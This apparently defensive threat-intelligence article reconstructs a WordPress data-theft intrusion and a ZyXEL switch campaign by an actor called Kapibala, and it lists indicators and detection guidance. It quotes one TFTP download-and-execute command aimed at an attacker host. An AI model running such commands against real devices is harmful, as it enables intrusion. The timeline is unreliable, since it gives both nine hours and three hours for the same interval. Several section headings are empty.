Overview

Between June and September 2026, GreyNoise researchers tracked a single actor, publicly nicknamed "Kapibala" after the WordPress usernames it left behind, through a ten-vulnerability exploitation spree that touched WordPress sites, ZyXEL network switches, Ubiquiti access controllers, a low-code AI platform, a Linux kernel bug more than four years old, a Git hosting server, a serverless compute framework, a laboratory information management system, and a virtualization hypervisor. The headline incident inside that spree is a July 20, 2026 intrusion against a Western government organization, in which the actor chained a pre-authentication WordPress Core RCE with a masqueraded administrator account and a purpose-built data-collection plugin to steal more than 18,566 sensitive government records in under three hours.

What makes Kapibala notable is not any single exploit -- most of the ten CVEs it used were already public and, in several cases, already on CISA's Known Exploited Vulnerabilities catalog. What makes it notable is the breadth and tempo: a single actor moving across ten unrelated product families in roughly three months, reusing the same operational playbook (rogue account creation, custom collection tooling, AMSI-bypass privilege escalation, cleartext credential harvesting, staged-ZIP exfiltration) against wildly different technology stacks, including a first-ever wild exploitation of a ZyXEL switch vulnerability that had no public exploit code before Kapibala used it. GreyNoise also flagged a secondary detail with its own significance: on August 17, 2026, the same TFTP-based ZyXEL technique was used against a Russian state entity operating in Russia-occupied Ukraine -- a "red-on-red" compromise, an attacker from one nominally aligned bloc hitting infrastructure inside territory controlled by an ostensible ally.

This article walks through Kapibala's confirmed WordPress intrusion against the government victim in full operational detail, summarizes the broader ten-CVE campaign, and lays out detection guidance for the account-creation and plugin-upload techniques that are the most durable signal once the underlying CVEs are eventually patched.

Threat Actor Profile

GreyNoise assesses Kapibala as a likely Chinese-speaking threat actor operating in a UTC+8-consistent timezone, based on copious Chinese-language comments embedded in its custom tooling and its operational activity windows. GreyNoise links the cluster to "Red Heron," a threat actor previously reported by Acronis, based on shared C2 domain infrastructure and overlapping Gitea-exploitation tradecraft.

Handle (researcher-assigned): Kapibala Suspected origin: China-nexus, Chinese-speaking operator(s) Linked cluster: "Red Heron" (Acronis reporting) Tooling signature: LLM-assisted code generation suspected -- GreyNoise notes superficial, cosmetic variation between iterations of the actor's custom exploitation and collection scripts, consistent with AI-assisted rewriting rather than hand-authored tool evolution Operational footprint: Compromised infrastructure belonging to a Taiwanese manufacturing company was observed being reused by the actor for secondary exploitation staging -- a "living off compromised infrastructure" pattern that complicates simple IP-reputation blocking

Unlike a dedicated single-vulnerability research group, Kapibala's ten-CVE, ten-product spread across three months reads as an opportunistic, broad-spectrum exploitation operation: patch, harvest, move on to the next disclosed or self-discovered flaw. The victim selection -- a Western government organization, 49 WordPress sites across 29 countries, 996 ZyXEL switches across 48 countries, and one Russian state target -- does not fit a narrow espionage-only or crime-only profile; GreyNoise's own framing treats this as broad opportunistic access operations rather than a single targeted campaign against one sector.

Targets and Victimology

Attack Chain: The Government WordPress Intrusion

The following sequence, timestamped in UTC, is GreyNoise's reconstruction of Kapibala's July 20, 2026 intrusion against the confirmed government victim.

Stage 1 -- Initial Access via wp2shell. At 01:27:00Z, the actor deployed a custom exploitation chain against the wp2shell vulnerability pair: CVE-2026-63030, a request-desynchronization bug in WordPress Core's REST API batch endpoint (/wp-json/batch/v1), chained with CVE-2026-60137, a SQL injection reachable through the author_exclude parameter once the desync primitive is applied. wp2shell was disclosed July 17, 2026 by Searchlight Cyber's Adam Kues (CVE-2026-63030) and researchers TF1T, dtro, and haongo (CVE-2026-60137); mass scanning and in-the-wild exploitation began within a day of disclosure, and Kapibala's confirmed use here is three days into that wave.

Stage 2 -- Reconnaissance. At 01:38:29Z, the actor dumped the WordPress user table, retrieving 13 existing administrator accounts -- both a reconnaissance step and preparation for the account-masquerade move that followed.

Stage 3 -- Persistence via Rogue Administrator Account. At 01:48:38Z, the actor created a new administrator account with a backdated registration timestamp, designed to blend into the existing account list rather than stand out as a fresh addition. GreyNoise's telemetry captured the literal account names used across the broader campaign: kapibala and kapibala2.

Stage 4 -- Custom Plugin Deployment. At 02:09:58Z, the actor uploaded a purpose-built information-collection plugin through the now-available administrative access, giving it a durable, webshell-independent method of interacting with the compromised site.

Stage 5 -- Webshell Reconnaissance. At 02:22:36Z, the actor conducted broader environment reconnaissance through the webshell established during initial exploitation.

Stage 6 -- Privilege Escalation Attempts. At 02:31:12Z, the actor attempted AMSI (Antimalware Scan Interface) bypasses and privilege escalation via Windows access-token impersonation -- indicating the underlying host environment was Windows-based hosting infrastructure, not a purely Linux/LAMP deployment.

Stage 7 -- Credential Harvesting. At 03:17:41Z, the actor harvested cleartext credentials directly from configuration files on the compromised host -- almost certainly including database connection strings from wp-config.php or an equivalent configuration store.

Stage 8 -- Data Staging. At 03:30:41Z, the actor created and staged ZIP archives of the data it intended to exfiltrate, placing them in web-accessible directories for later retrieval.

Stage 9 -- Lateral Credential Access. At 04:02:01Z, the actor conducted password-spraying against an internal SQL database using the credentials harvested in Stage 7, seeking direct database access beyond what the WordPress application layer exposed.

Stage 10 -- Bulk Extraction. At 04:08:32Z, the actor extracted more than 18,566 records directly from the SQL server.

Stage 11 -- Exfiltration. At 04:09:20Z, roughly nine hours after initial access, the actor downloaded the staged, exfiltrated data.

Total elapsed time from initial exploitation to completed exfiltration: approximately three hours (01:27Z to 04:09Z), against a government target, using a vulnerability chain that had been public for exactly three days.

The ZyXEL GS1900 Technique (CVE-2026-7273)

Separately from the WordPress campaign, Kapibala's August 17, 2026 activity against ZyXEL GS1900 network switches is notable as the first confirmed wild exploitation of CVE-2026-7273, a vulnerability with no public exploit code prior to this campaign. The actor used a PyArmor-obfuscated Python script to trigger remote command execution on the switch's management plane, then issued:

sh -c tftp -gr c -l /1 <attacker-IP> 6969;/bin/sh /1

This retrieves a file named c via TFTP from an attacker-controlled server on port 6969, saves it locally as /1, and executes it as a shell script -- a lightweight, dependency-free download-and-execute primitive well suited to constrained embedded Linux environments like a switch's management OS. Collected data was staged locally with cp /tmp/info /home/web/tmp/info.txt ahead of retrieval. GreyNoise identified 996 vulnerable devices across 48 countries, of which 564 (57%) were still running factory-default credentials, materially lowering the bar for any less sophisticated follow-on actor to replicate the technique once it becomes public knowledge.

Infrastructure and Indicators of Compromise

Network

File Hashes (SHA-256)

Host / Application Artifacts

Detection Guidance

Application / Web-Layer Detections

Rogue administrator account creation with literal or pattern-based names. The single highest-confidence signal from the confirmed government intrusion is the creation of a new WordPress administrator account, particularly one with a backdated registration timestamp inconsistent with the request's actual arrival time, or an account name matching kapibala/kapibala2.

Custom plugin upload or activation immediately following wp2shell exploitation indicators. A plugin install/activation event occurring within minutes of a wp2shell-pattern REST batch request (see WAF-APP01-RUN.yml) is a strong correlation signal even without knowing the plugin's specific filename.

File-integrity monitoring on wp-config.php and the plugins directory. Kapibala's Stage 7 credential harvesting targets configuration files directly; FIM alerting on unexpected reads or modifications to wp-config.php timestamps adds a layer independent of network/WAF visibility.

Network-Level Detections

Block/alert on known Kapibala infrastructure. IPs 74.48.66.73, 104.225.153.141, 172.245.247.21, and DNS resolution to *.981666.xyz should be treated as high-confidence indicators.

Alert on outbound TFTP (UDP/69) or TCP/6969 traffic from network-appliance management interfaces, particularly from ZyXEL or other embedded-Linux network devices that have no legitimate reason to initiate outbound TFTP transfers.

Credential and Identity Detections

Force password rotation for all administrative WordPress accounts created or modified in a window around any suspected wp2shell exploitation event, and specifically audit for any account matching the Kapibala naming pattern.

Audit SQL server access logs for password-spray patterns following a suspected WordPress compromise -- Kapibala's Stage 9 pivots directly from web-layer credentials to database-layer access attempts within roughly 45 minutes of initial exploitation.

Immediately rotate default credentials on ZyXEL GS1900 (and similar embedded network) devices -- 57% of Kapibala's identified victim population was still running factory-default credentials, which is the actual root cause enabling exploitation independent of the CVE itself.

MITRE ATT&CK Mapping

Key Takeaways

Three days from public disclosure to government data theft. wp2shell was disclosed July 17, 2026; Kapibala's confirmed government-victim intrusion occurred July 20. Patch timelines that treat a "moderate-to-critical" CVE pair as a routine maintenance-window item are measured against attacker timelines in single-digit days, not weeks.

Account-creation detection outlives the CVE. Once WordPress core is patched, the wp2shell exploitation path closes -- but rogue-administrator-account detection, credential-file FIM, and default-credential audits remain durable regardless of which specific pre-auth RCE an actor used to get there. Building detection around the attacker's post-exploitation objective (persistent privileged access, credential harvesting) rather than solely the entry vector is what survives the next CVE.

Breadth over depth is a viable operating model. Kapibala's ten-CVE, ten-product spread in roughly three months suggests a single actor (or small team) can meaningfully operationalize public vulnerability research across a very wide surface, reusing the same lightweight operational playbook (account creation, custom collection tooling, staged-ZIP exfiltration) each time. Defenders should not assume opportunistic, broad-spectrum exploitation implies low sophistication or low impact -- this pattern produced a confirmed 18,566-record government data breach.

Default credentials remain a primary root cause even amid novel-CVE headlines. More than half of Kapibala's ZyXEL victim population was compromised via factory-default credentials that a firmware patch for CVE-2026-7273 does not, by itself, fix.

References

1. GreyNoise. (2026, September 23/24). Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation. https://www.greynoise.io/blog/open-season-on-kapibala-attacker-steals-government-records-wordpress-exploitation
2. Anoymask. (2026, September). Kapibala: Government Data Theft via WordPress and Active Exploitation of Zyxel CVE-2026-7273. DEV Community. https://dev.to/anoymask/kapibala-government-data-theft-via-wordpress-and-active-exploitation-of-zyxel-cve-2026-7273-5c58
3. Ampcus Cyber. (2026, September). Kapibala WordPress Attack and Data Theft Explained. https://www.ampcuscyber.com/shadowopsintel/kapibala-actor-steals-18000-government-records-via-wordpress-and-multi-cve-exploitation/
4. BinaryPH. (2026, September 23). Inside the Kapibala Cyber Attacks: WordPress Exploitation and Zyxel CVE-2026-7273 Under Active Exploitation. https://binary.ph/2026/09/23/inside-the-kapibala-cyber-attacks-wordpress-exploitation-and-zyxel-cve-2026-7273-under-active-exploitation/
5. SecurityOnline. (2026, September). Kapibala WordPress Exploitation Attacks Hit Governments. https://securityonline.info/kapibala-wordpress-exploitation/
6. Hadrian. (2026, July 17). wp2shell: A Pre-Authentication RCE in WordPress Core's REST Batch API. https://hadrian.io/blog/wp2shell-a-pre-authentication-rce-in-wordpress-cores-rest-batch-api
7. Kues, A. (2026, July 17). wp2shell: Pre Authentication RCE in WordPress Core. Searchlight Cyber. https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/